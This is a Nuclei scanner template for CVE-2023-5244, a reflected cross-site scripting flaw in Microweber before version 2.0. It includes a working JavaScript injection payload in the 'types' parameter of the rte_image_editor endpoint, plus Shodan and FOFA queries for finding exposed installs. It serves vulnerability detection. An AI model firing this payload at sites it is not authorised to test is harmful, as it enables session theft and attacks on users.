id: CVE-2023-5244 info: name: Microweber < V.2.0 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | Reflected Cross-Site Scripting Vulnerability in types GET parameter on the /editor_tools/rte_image_editor endpoint. impact: | Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the types parameter, potentially stealing user session cookies or performing actions on behalf of users. remediation: | Update Microweber to version 2.0 or later. reference: - https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470/ - https://vuldb.com/?id.240778 - https://nvd.nist.gov/vuln/detail/CVE-2023-5244 - https://github.com/microweber/microweber/commit/1cb846f8f54ff6f5c668f3ae64dd81740a7e8968 - https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-5244 cwe-id: CWE-79 epss-score: 0.28933 epss-percentile: 0.96655 cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: microweber product: microweber shodan-query: - http.favicon.hash:780351152 - http.html:"microweber" fofa-query: - body="microweber" - icon_hash=780351152 tags: cve,cve2023,huntr,xss,microweber,vuln http: - method: GET path: - "{{BaseURL}}/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains_all(body, "alert(document.domain)", "microweber")' condition: and # digest: 490a0046304402201b990d59d3b522cd4242306b58cc1ff5fc68cafdf67260195448f0a42009879a022041f9205aa6114177c26da3d0c10a8549b9cda075f97265e60089aa82c8f92fa0:922c64590222798bb761d5b6d8e72950